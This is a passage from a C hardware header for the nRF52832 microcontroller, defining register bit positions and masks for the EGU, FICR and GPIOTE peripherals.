#define EGU_INTENCLR_TRIGGERED3_Pos (3UL) /*!< Position of TRIGGERED3 field. */
#define EGU_INTENCLR_TRIGGERED3_Msk (0x1UL << EGU_INTENCLR_TRIGGERED3_Pos) /*!< Bit mask of TRIGGERED3 field. */
#define EGU_INTENCLR_TRIGGERED3_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED3_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED3_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for TRIGGERED[2] event */
#define EGU_INTENCLR_TRIGGERED2_Pos (2UL) /*!< Position of TRIGGERED2 field. */
#define EGU_INTENCLR_TRIGGERED2_Msk (0x1UL << EGU_INTENCLR_TRIGGERED2_Pos) /*!< Bit mask of TRIGGERED2 field. */
#define EGU_INTENCLR_TRIGGERED2_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED2_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED2_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for TRIGGERED[1] event */
#define EGU_INTENCLR_TRIGGERED1_Pos (1UL) /*!< Position of TRIGGERED1 field. */
#define EGU_INTENCLR_TRIGGERED1_Msk (0x1UL << EGU_INTENCLR_TRIGGERED1_Pos) /*!< Bit mask of TRIGGERED1 field. */
#define EGU_INTENCLR_TRIGGERED1_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED1_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED1_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for TRIGGERED[0] event */
#define EGU_INTENCLR_TRIGGERED0_Pos (0UL) /*!< Position of TRIGGERED0 field. */
#define EGU_INTENCLR_TRIGGERED0_Msk (0x1UL << EGU_INTENCLR_TRIGGERED0_Pos) /*!< Bit mask of TRIGGERED0 field. */
#define EGU_INTENCLR_TRIGGERED0_Disabled (0UL) /*!< Read: Disabled */
#define EGU_INTENCLR_TRIGGERED0_Enabled (1UL) /*!< Read: Enabled */
#define EGU_INTENCLR_TRIGGERED0_Clear (1UL) /*!< Disable */
/* Peripheral: FICR */
/* Description: Factory Information Configuration Registers */
/* Register: FICR_CODEPAGESIZE */
/* Description: Code memory page size */
/* Bits 31..0 : Code memory page size */
#define FICR_CODEPAGESIZE_CODEPAGESIZE_Pos (0UL) /*!< Position of CODEPAGESIZE field. */
#define FICR_CODEPAGESIZE_CODEPAGESIZE_Msk (0xFFFFFFFFUL << FICR_CODEPAGESIZE_CODEPAGESIZE_Pos) /*!< Bit mask of CODEPAGESIZE field. */
/* Register: FICR_CODESIZE */
/* Description: Code memory size */
/* Bits 31..0 : Code memory size in number of pages */
#define FICR_CODESIZE_CODESIZE_Pos (0UL) /*!< Position of CODESIZE field. */
#define FICR_CODESIZE_CODESIZE_Msk (0xFFFFFFFFUL << FICR_CODESIZE_CODESIZE_Pos) /*!< Bit mask of CODESIZE field. */
/* Register: FICR_DEVICEID */
/* Description: Description collection[0]: Device identifier */
/* Bits 31..0 : 64 bit unique device identifier */
#define FICR_DEVICEID_DEVICEID_Pos (0UL) /*!< Position of DEVICEID field. */
#define FICR_DEVICEID_DEVICEID_Msk (0xFFFFFFFFUL << FICR_DEVICEID_DEVICEID_Pos) /*!< Bit mask of DEVICEID field. */
/* Register: FICR_ER */
/* Description: Description collection[0]: Encryption Root, word 0 */
/* Bits 31..0 : Encryption Root, word n */
#define FICR_ER_ER_Pos (0UL) /*!< Position of ER field. */
#define FICR_ER_ER_Msk (0xFFFFFFFFUL << FICR_ER_ER_Pos) /*!< Bit mask of ER field. */
/* Register: FICR_IR */
/* Description: Description collection[0]: Identity Root, word 0 */
/* Bits 31..0 : Identity Root, word n */
#define FICR_IR_IR_Pos (0UL) /*!< Position of IR field. */
#define FICR_IR_IR_Msk (0xFFFFFFFFUL << FICR_IR_IR_Pos) /*!< Bit mask of IR field. */
/* Register: FICR_DEVICEADDRTYPE */
/* Description: Device address type */
/* Bit 0 : Device address type */
#define FICR_DEVICEADDRTYPE_DEVICEADDRTYPE_Pos (0UL) /*!< Position of DEVICEADDRTYPE field. */
#define FICR_DEVICEADDRTYPE_DEVICEADDRTYPE_Msk (0x1UL << FICR_DEVICEADDRTYPE_DEVICEADDRTYPE_Pos) /*!< Bit mask of DEVICEADDRTYPE field. */
#define FICR_DEVICEADDRTYPE_DEVICEADDRTYPE_Public (0UL) /*!< Public address */
#define FICR_DEVICEADDRTYPE_DEVICEADDRTYPE_Random (1UL) /*!< Random address */
/* Register: FICR_DEVICEADDR */
/* Description: Description collection[0]: Device address 0 */
/* Bits 31..0 : 48 bit device address */
#define FICR_DEVICEADDR_DEVICEADDR_Pos (0UL) /*!< Position of DEVICEADDR field. */
#define FICR_DEVICEADDR_DEVICEADDR_Msk (0xFFFFFFFFUL << FICR_DEVICEADDR_DEVICEADDR_Pos) /*!< Bit mask of DEVICEADDR field. */
/* Register: FICR_INFO_PART */
/* Description: Part code */
/* Bits 31..0 : Part code */
#define FICR_INFO_PART_PART_Pos (0UL) /*!< Position of PART field. */
#define FICR_INFO_PART_PART_Msk (0xFFFFFFFFUL << FICR_INFO_PART_PART_Pos) /*!< Bit mask of PART field. */
#define FICR_INFO_PART_PART_N52832 (0x52832UL) /*!< nRF52832 */
#define FICR_INFO_PART_PART_Unspecified (0xFFFFFFFFUL) /*!< Unspecified */
/* Register: FICR_INFO_VARIANT */
/* Description: Part Variant, Hardware version and Production configuration */
/* Bits 31..0 : Part Variant, Hardware version and Production configuration, encoded as ASCII */
#define FICR_INFO_VARIANT_VARIANT_Pos (0UL) /*!< Position of VARIANT field. */
#define FICR_INFO_VARIANT_VARIANT_Msk (0xFFFFFFFFUL << FICR_INFO_VARIANT_VARIANT_Pos) /*!< Bit mask of VARIANT field. */
#define FICR_INFO_VARIANT_VARIANT_AAAA (0x41414141UL) /*!< AAAA */
#define FICR_INFO_VARIANT_VARIANT_AAAB (0x41414142UL) /*!< AAAB */
#define FICR_INFO_VARIANT_VARIANT_AABA (0x41414241UL) /*!< AABA */
#define FICR_INFO_VARIANT_VARIANT_AABB (0x41414242UL) /*!< AABB */
#define FICR_INFO_VARIANT_VARIANT_Unspecified (0xFFFFFFFFUL) /*!< Unspecified */
/* Register: FICR_INFO_PACKAGE */
/* Description: Package option */
/* Bits 31..0 : Package option */
#define FICR_INFO_PACKAGE_PACKAGE_Pos (0UL) /*!< Position of PACKAGE field. */
#define FICR_INFO_PACKAGE_PACKAGE_Msk (0xFFFFFFFFUL << FICR_INFO_PACKAGE_PACKAGE_Pos) /*!< Bit mask of PACKAGE field. */
#define FICR_INFO_PACKAGE_PACKAGE_QF (0x2000UL) /*!< QFxx - 48-pin QFN */
#define FICR_INFO_PACKAGE_PACKAGE_CI (0x2001UL) /*!< CIxx - 7x8 WLCSP 56 balls */
#define FICR_INFO_PACKAGE_PACKAGE_Unspecified (0xFFFFFFFFUL) /*!< Unspecified */
/* Register: FICR_INFO_RAM */
/* Description: RAM variant */
/* Bits 31..0 : RAM variant */
#define FICR_INFO_RAM_RAM_Pos (0UL) /*!< Position of RAM field. */
#define FICR_INFO_RAM_RAM_Msk (0xFFFFFFFFUL << FICR_INFO_RAM_RAM_Pos) /*!< Bit mask of RAM field. */
#define FICR_INFO_RAM_RAM_K16 (0x10UL) /*!< 16 kByte RAM */
#define FICR_INFO_RAM_RAM_K32 (0x20UL) /*!< 32 kByte RAM */
#define FICR_INFO_RAM_RAM_K64 (0x40UL) /*!< 64 kByte RAM */
#define FICR_INFO_RAM_RAM_Unspecified (0xFFFFFFFFUL) /*!< Unspecified */
/* Register: FICR_INFO_FLASH */
/* Description: Flash variant */
/* Bits 31..0 : Flash variant */
#define FICR_INFO_FLASH_FLASH_Pos (0UL) /*!< Position of FLASH field. */
#define FICR_INFO_FLASH_FLASH_Msk (0xFFFFFFFFUL << FICR_INFO_FLASH_FLASH_Pos) /*!< Bit mask of FLASH field. */
#define FICR_INFO_FLASH_FLASH_K128 (0x80UL) /*!< 128 kByte FLASH */
#define FICR_INFO_FLASH_FLASH_K256 (0x100UL) /*!< 256 kByte FLASH */
#define FICR_INFO_FLASH_FLASH_K512 (0x200UL) /*!< 512 kByte FLASH */
#define FICR_INFO_FLASH_FLASH_Unspecified (0xFFFFFFFFUL) /*!< Unspecified */
/* Register: FICR_TEMP_A0 */
/* Description: Slope definition A0. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A0_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A0_A_Msk (0xFFFUL << FICR_TEMP_A0_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_A1 */
/* Description: Slope definition A1. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A1_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A1_A_Msk (0xFFFUL << FICR_TEMP_A1_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_A2 */
/* Description: Slope definition A2. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A2_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A2_A_Msk (0xFFFUL << FICR_TEMP_A2_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_A3 */
/* Description: Slope definition A3. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A3_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A3_A_Msk (0xFFFUL << FICR_TEMP_A3_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_A4 */
/* Description: Slope definition A4. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A4_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A4_A_Msk (0xFFFUL << FICR_TEMP_A4_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_A5 */
/* Description: Slope definition A5. */
/* Bits 11..0 : A (slope definition) register. */
#define FICR_TEMP_A5_A_Pos (0UL) /*!< Position of A field. */
#define FICR_TEMP_A5_A_Msk (0xFFFUL << FICR_TEMP_A5_A_Pos) /*!< Bit mask of A field. */
/* Register: FICR_TEMP_B0 */
/* Description: y-intercept B0. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B0_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B0_B_Msk (0x3FFFUL << FICR_TEMP_B0_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_B1 */
/* Description: y-intercept B1. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B1_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B1_B_Msk (0x3FFFUL << FICR_TEMP_B1_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_B2 */
/* Description: y-intercept B2. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B2_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B2_B_Msk (0x3FFFUL << FICR_TEMP_B2_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_B3 */
/* Description: y-intercept B3. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B3_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B3_B_Msk (0x3FFFUL << FICR_TEMP_B3_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_B4 */
/* Description: y-intercept B4. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B4_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B4_B_Msk (0x3FFFUL << FICR_TEMP_B4_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_B5 */
/* Description: y-intercept B5. */
/* Bits 13..0 : B (y-intercept) */
#define FICR_TEMP_B5_B_Pos (0UL) /*!< Position of B field. */
#define FICR_TEMP_B5_B_Msk (0x3FFFUL << FICR_TEMP_B5_B_Pos) /*!< Bit mask of B field. */
/* Register: FICR_TEMP_T0 */
/* Description: Segment end T0. */
/* Bits 7..0 : T (segment end)register. */
#define FICR_TEMP_T0_T_Pos (0UL) /*!< Position of T field. */
#define FICR_TEMP_T0_T_Msk (0xFFUL << FICR_TEMP_T0_T_Pos) /*!< Bit mask of T field. */
/* Register: FICR_TEMP_T1 */
/* Description: Segment end T1. */
/* Bits 7..0 : T (segment end)register. */
#define FICR_TEMP_T1_T_Pos (0UL) /*!< Position of T field. */
#define FICR_TEMP_T1_T_Msk (0xFFUL << FICR_TEMP_T1_T_Pos) /*!< Bit mask of T field. */
/* Register: FICR_TEMP_T2 */
/* Description: Segment end T2. */
/* Bits 7..0 : T (segment end)register. */
#define FICR_TEMP_T2_T_Pos (0UL) /*!< Position of T field. */
#define FICR_TEMP_T2_T_Msk (0xFFUL << FICR_TEMP_T2_T_Pos) /*!< Bit mask of T field. */
/* Register: FICR_TEMP_T3 */
/* Description: Segment end T3. */
/* Bits 7..0 : T (segment end)register. */
#define FICR_TEMP_T3_T_Pos (0UL) /*!< Position of T field. */
#define FICR_TEMP_T3_T_Msk (0xFFUL << FICR_TEMP_T3_T_Pos) /*!< Bit mask of T field. */
/* Register: FICR_TEMP_T4 */
/* Description: Segment end T4. */
/* Bits 7..0 : T (segment end)register. */
#define FICR_TEMP_T4_T_Pos (0UL) /*!< Position of T field. */
#define FICR_TEMP_T4_T_Msk (0xFFUL << FICR_TEMP_T4_T_Pos) /*!< Bit mask of T field. */
/* Register: FICR_NFC_TAGHEADER0 */
/* Description: Default header for NFC Tag. Software can read these values to populate NFCID1_3RD_LAST, NFCID1_2ND_LAST and NFCID1_LAST. */
/* Bits 31..24 : Unique identifier byte 3 */
#define FICR_NFC_TAGHEADER0_UD3_Pos (24UL) /*!< Position of UD3 field. */
#define FICR_NFC_TAGHEADER0_UD3_Msk (0xFFUL << FICR_NFC_TAGHEADER0_UD3_Pos) /*!< Bit mask of UD3 field. */
/* Bits 23..16 : Unique identifier byte 2 */
#define FICR_NFC_TAGHEADER0_UD2_Pos (16UL) /*!< Position of UD2 field. */
#define FICR_NFC_TAGHEADER0_UD2_Msk (0xFFUL << FICR_NFC_TAGHEADER0_UD2_Pos) /*!< Bit mask of UD2 field. */
/* Bits 15..8 : Unique identifier byte 1 */
#define FICR_NFC_TAGHEADER0_UD1_Pos (8UL) /*!< Position of UD1 field. */
#define FICR_NFC_TAGHEADER0_UD1_Msk (0xFFUL << FICR_NFC_TAGHEADER0_UD1_Pos) /*!< Bit mask of UD1 field. */
/* Bits 7..0 : Default Manufacturer ID: Nordic Semiconductor ASA has ICM 0x5F */
#define FICR_NFC_TAGHEADER0_MFGID_Pos (0UL) /*!< Position of MFGID field. */
#define FICR_NFC_TAGHEADER0_MFGID_Msk (0xFFUL << FICR_NFC_TAGHEADER0_MFGID_Pos) /*!< Bit mask of MFGID field. */
/* Register: FICR_NFC_TAGHEADER1 */
/* Description: Default header for NFC Tag. Software can read these values to populate NFCID1_3RD_LAST, NFCID1_2ND_LAST and NFCID1_LAST. */
/* Bits 31..24 : Unique identifier byte 7 */
#define FICR_NFC_TAGHEADER1_UD7_Pos (24UL) /*!< Position of UD7 field. */
#define FICR_NFC_TAGHEADER1_UD7_Msk (0xFFUL << FICR_NFC_TAGHEADER1_UD7_Pos) /*!< Bit mask of UD7 field. */
/* Bits 23..16 : Unique identifier byte 6 */
#define FICR_NFC_TAGHEADER1_UD6_Pos (16UL) /*!< Position of UD6 field. */
#define FICR_NFC_TAGHEADER1_UD6_Msk (0xFFUL << FICR_NFC_TAGHEADER1_UD6_Pos) /*!< Bit mask of UD6 field. */
/* Bits 15..8 : Unique identifier byte 5 */
#define FICR_NFC_TAGHEADER1_UD5_Pos (8UL) /*!< Position of UD5 field. */
#define FICR_NFC_TAGHEADER1_UD5_Msk (0xFFUL << FICR_NFC_TAGHEADER1_UD5_Pos) /*!< Bit mask of UD5 field. */
/* Bits 7..0 : Unique identifier byte 4 */
#define FICR_NFC_TAGHEADER1_UD4_Pos (0UL) /*!< Position of UD4 field. */
#define FICR_NFC_TAGHEADER1_UD4_Msk (0xFFUL << FICR_NFC_TAGHEADER1_UD4_Pos) /*!< Bit mask of UD4 field. */
/* Register: FICR_NFC_TAGHEADER2 */
/* Description: Default header for NFC Tag. Software can read these values to populate NFCID1_3RD_LAST, NFCID1_2ND_LAST and NFCID1_LAST. */
/* Bits 31..24 : Unique identifier byte 11 */
#define FICR_NFC_TAGHEADER2_UD11_Pos (24UL) /*!< Position of UD11 field. */
#define FICR_NFC_TAGHEADER2_UD11_Msk (0xFFUL << FICR_NFC_TAGHEADER2_UD11_Pos) /*!< Bit mask of UD11 field. */
/* Bits 23..16 : Unique identifier byte 10 */
#define FICR_NFC_TAGHEADER2_UD10_Pos (16UL) /*!< Position of UD10 field. */
#define FICR_NFC_TAGHEADER2_UD10_Msk (0xFFUL << FICR_NFC_TAGHEADER2_UD10_Pos) /*!< Bit mask of UD10 field. */
/* Bits 15..8 : Unique identifier byte 9 */
#define FICR_NFC_TAGHEADER2_UD9_Pos (8UL) /*!< Position of UD9 field. */
#define FICR_NFC_TAGHEADER2_UD9_Msk (0xFFUL << FICR_NFC_TAGHEADER2_UD9_Pos) /*!< Bit mask of UD9 field. */
/* Bits 7..0 : Unique identifier byte 8 */
#define FICR_NFC_TAGHEADER2_UD8_Pos (0UL) /*!< Position of UD8 field. */
#define FICR_NFC_TAGHEADER2_UD8_Msk (0xFFUL << FICR_NFC_TAGHEADER2_UD8_Pos) /*!< Bit mask of UD8 field. */
/* Register: FICR_NFC_TAGHEADER3 */
/* Description: Default header for NFC Tag. Software can read these values to populate NFCID1_3RD_LAST, NFCID1_2ND_LAST and NFCID1_LAST. */
/* Bits 31..24 : Unique identifier byte 15 */
#define FICR_NFC_TAGHEADER3_UD15_Pos (24UL) /*!< Position of UD15 field. */
#define FICR_NFC_TAGHEADER3_UD15_Msk (0xFFUL << FICR_NFC_TAGHEADER3_UD15_Pos) /*!< Bit mask of UD15 field. */
/* Bits 23..16 : Unique identifier byte 14 */
#define FICR_NFC_TAGHEADER3_UD14_Pos (16UL) /*!< Position of UD14 field. */
#define FICR_NFC_TAGHEADER3_UD14_Msk (0xFFUL << FICR_NFC_TAGHEADER3_UD14_Pos) /*!< Bit mask of UD14 field. */
/* Bits 15..8 : Unique identifier byte 13 */
#define FICR_NFC_TAGHEADER3_UD13_Pos (8UL) /*!< Position of UD13 field. */
#define FICR_NFC_TAGHEADER3_UD13_Msk (0xFFUL << FICR_NFC_TAGHEADER3_UD13_Pos) /*!< Bit mask of UD13 field. */
/* Bits 7..0 : Unique identifier byte 12 */
#define FICR_NFC_TAGHEADER3_UD12_Pos (0UL) /*!< Position of UD12 field. */
#define FICR_NFC_TAGHEADER3_UD12_Msk (0xFFUL << FICR_NFC_TAGHEADER3_UD12_Pos) /*!< Bit mask of UD12 field. */
/* Peripheral: GPIOTE */
/* Description: GPIO Tasks and Events */
/* Register: GPIOTE_INTENSET */
/* Description: Enable interrupt */
/* Bit 31 : Write '1' to Enable interrupt for PORT event */
#define GPIOTE_INTENSET_PORT_Pos (31UL) /*!< Position of PORT field. */
#define GPIOTE_INTENSET_PORT_Msk (0x1UL << GPIOTE_INTENSET_PORT_Pos) /*!< Bit mask of PORT field. */
#define GPIOTE_INTENSET_PORT_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_PORT_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_PORT_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for IN[7] event */
#define GPIOTE_INTENSET_IN7_Pos (7UL) /*!< Position of IN7 field. */
#define GPIOTE_INTENSET_IN7_Msk (0x1UL << GPIOTE_INTENSET_IN7_Pos) /*!< Bit mask of IN7 field. */
#define GPIOTE_INTENSET_IN7_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN7_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN7_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for IN[6] event */
#define GPIOTE_INTENSET_IN6_Pos (6UL) /*!< Position of IN6 field. */
#define GPIOTE_INTENSET_IN6_Msk (0x1UL << GPIOTE_INTENSET_IN6_Pos) /*!< Bit mask of IN6 field. */
#define GPIOTE_INTENSET_IN6_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN6_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN6_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for IN[5] event */
#define GPIOTE_INTENSET_IN5_Pos (5UL) /*!< Position of IN5 field. */
#define GPIOTE_INTENSET_IN5_Msk (0x1UL << GPIOTE_INTENSET_IN5_Pos) /*!< Bit mask of IN5 field. */
#define GPIOTE_INTENSET_IN5_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN5_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN5_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for IN[4] event */
#define GPIOTE_INTENSET_IN4_Pos (4UL) /*!< Position of IN4 field. */
#define GPIOTE_INTENSET_IN4_Msk (0x1UL << GPIOTE_INTENSET_IN4_Pos) /*!< Bit mask of IN4 field. */
#define GPIOTE_INTENSET_IN4_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN4_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN4_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for IN[3] event */
#define GPIOTE_INTENSET_IN3_Pos (3UL) /*!< Position of IN3 field. */
#define GPIOTE_INTENSET_IN3_Msk (0x1UL << GPIOTE_INTENSET_IN3_Pos) /*!< Bit mask of IN3 field. */
#define GPIOTE_INTENSET_IN3_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN3_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN3_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for IN[2] event */
#define GPIOTE_INTENSET_IN2_Pos (2UL) /*!< Position of IN2 field. */
#define GPIOTE_INTENSET_IN2_Msk (0x1UL << GPIOTE_INTENSET_IN2_Pos) /*!< Bit mask of IN2 field. */
#define GPIOTE_INTENSET_IN2_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN2_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN2_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for IN[1] event */
#define GPIOTE_INTENSET_IN1_Pos (1UL) /*!< Position of IN1 field. */
#define GPIOTE_INTENSET_IN1_Msk (0x1UL << GPIOTE_INTENSET_IN1_Pos) /*!< Bit mask of IN1 field. */
#define GPIOTE_INTENSET_IN1_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN1_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN1_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for IN[0] event */
#define GPIOTE_INTENSET_IN0_Pos (0UL) /*!< Position of IN0 field. */
#define GPIOTE_INTENSET_IN0_Msk (0x1UL << GPIOTE_INTENSET_IN0_Pos) /*!< Bit mask of IN0 field. */
#define GPIOTE_INTENSET_IN0_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENSET_IN0_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENSET_IN0_Set (1UL) /*!< Enable */
/* Register: GPIOTE_INTENCLR */
/* Description: Disable interrupt */
/* Bit 31 : Write '1' to Disable interrupt for PORT event */
#define GPIOTE_INTENCLR_PORT_Pos (31UL) /*!< Position of PORT field. */
#define GPIOTE_INTENCLR_PORT_Msk (0x1UL << GPIOTE_INTENCLR_PORT_Pos) /*!< Bit mask of PORT field. */
#define GPIOTE_INTENCLR_PORT_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_PORT_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_PORT_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for IN[7] event */
#define GPIOTE_INTENCLR_IN7_Pos (7UL) /*!< Position of IN7 field. */
#define GPIOTE_INTENCLR_IN7_Msk (0x1UL << GPIOTE_INTENCLR_IN7_Pos) /*!< Bit mask of IN7 field. */
#define GPIOTE_INTENCLR_IN7_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN7_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN7_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for IN[6] event */
#define GPIOTE_INTENCLR_IN6_Pos (6UL) /*!< Position of IN6 field. */
#define GPIOTE_INTENCLR_IN6_Msk (0x1UL << GPIOTE_INTENCLR_IN6_Pos) /*!< Bit mask of IN6 field. */
#define GPIOTE_INTENCLR_IN6_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN6_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN6_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for IN[5] event */
#define GPIOTE_INTENCLR_IN5_Pos (5UL) /*!< Position of IN5 field. */
#define GPIOTE_INTENCLR_IN5_Msk (0x1UL << GPIOTE_INTENCLR_IN5_Pos) /*!< Bit mask of IN5 field. */
#define GPIOTE_INTENCLR_IN5_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN5_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN5_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for IN[4] event */
#define GPIOTE_INTENCLR_IN4_Pos (4UL) /*!< Position of IN4 field. */
#define GPIOTE_INTENCLR_IN4_Msk (0x1UL << GPIOTE_INTENCLR_IN4_Pos) /*!< Bit mask of IN4 field. */
#define GPIOTE_INTENCLR_IN4_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN4_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN4_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for IN[3] event */
#define GPIOTE_INTENCLR_IN3_Pos (3UL) /*!< Position of IN3 field. */
#define GPIOTE_INTENCLR_IN3_Msk (0x1UL << GPIOTE_INTENCLR_IN3_Pos) /*!< Bit mask of IN3 field. */
#define GPIOTE_INTENCLR_IN3_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN3_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN3_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for IN[2] event */
#define GPIOTE_INTENCLR_IN2_Pos (2UL) /*!< Position of IN2 field. */
#define GPIOTE_INTENCLR_IN2_Msk (0x1UL << GPIOTE_INTENCLR_IN2_Pos) /*!< Bit mask of IN2 field. */
#define GPIOTE_INTENCLR_IN2_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN2_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN2_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for IN[1] event */
#define GPIOTE_INTENCLR_IN1_Pos (1UL) /*!< Position of IN1 field. */
#define GPIOTE_INTENCLR_IN1_Msk (0x1UL << GPIOTE_INTENCLR_IN1_Pos) /*!< Bit mask of IN1 field. */
#define GPIOTE_INTENCLR_IN1_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN1_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN1_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for IN[0] event */
#define GPIOTE_INTENCLR_IN0_Pos (0UL) /*!< Position of IN0 field. */
#define GPIOTE_INTENCLR_IN0_Msk (0x1UL << GPIOTE_INTENCLR_IN0_Pos) /*!< Bit mask of IN0 field. */
#define GPIOTE_INTENCLR_IN0_Disabled (0UL) /*!< Read: Disabled */
#define GPIOTE_INTENCLR_IN0_Enabled (1UL) /*!< Read: Enabled */
#define GPIOTE_INTENCLR_IN0_Clear (1UL) /*!< Disable */
/* Register: GPIOTE_CONFIG */
/* Description: Description collection[0]: Configuration for OUT[n], SET[n] and CLR[n] tasks and IN[n] event */
/* Bit 20 : When in task mode: Initial value of the output when the GPIOTE channel is configured. When in event mode: No effect. */
#define GPIOTE_CONFIG_OUTINIT_Pos (20UL) /*!< Position of OUTINIT field. */
#define GPIOTE_CONFIG_OUTINIT_Msk (0x1UL << GPIOTE_CONFIG_OUTINIT_Pos) /*!< Bit mask of OUTINIT field. */
#define GPIOTE_CONFIG_OUTINIT_Low (0UL) /*!< Task mode: Initial value of pin before task triggering is low */
#define GPIOTE_CONFIG_OUTINIT_High (1UL) /*!< Task mode: Initial value of pin before task triggering is high */
/* Bits 17..16 : When In task mode: Operation to be performed on output when OUT[n] task is triggered. When In event mode: Operation on input that shall trigger IN[n] event. */
#define GPIOTE_CONFIG_POLARITY_Pos (16UL) /*!< Position of POLARITY field. */
#define GPIOTE_CONFIG_POLARITY_Msk (0x3UL << GPIOTE_CONFIG_POLARITY_Pos) /*!< Bit mask of POLARITY field. */
#define GPIOTE_CONFIG_POLARITY_None (0UL) /*!< Task mode: No effect on pin from OUT[n] task. Event mode: no IN[n] event generated on pin activity. */
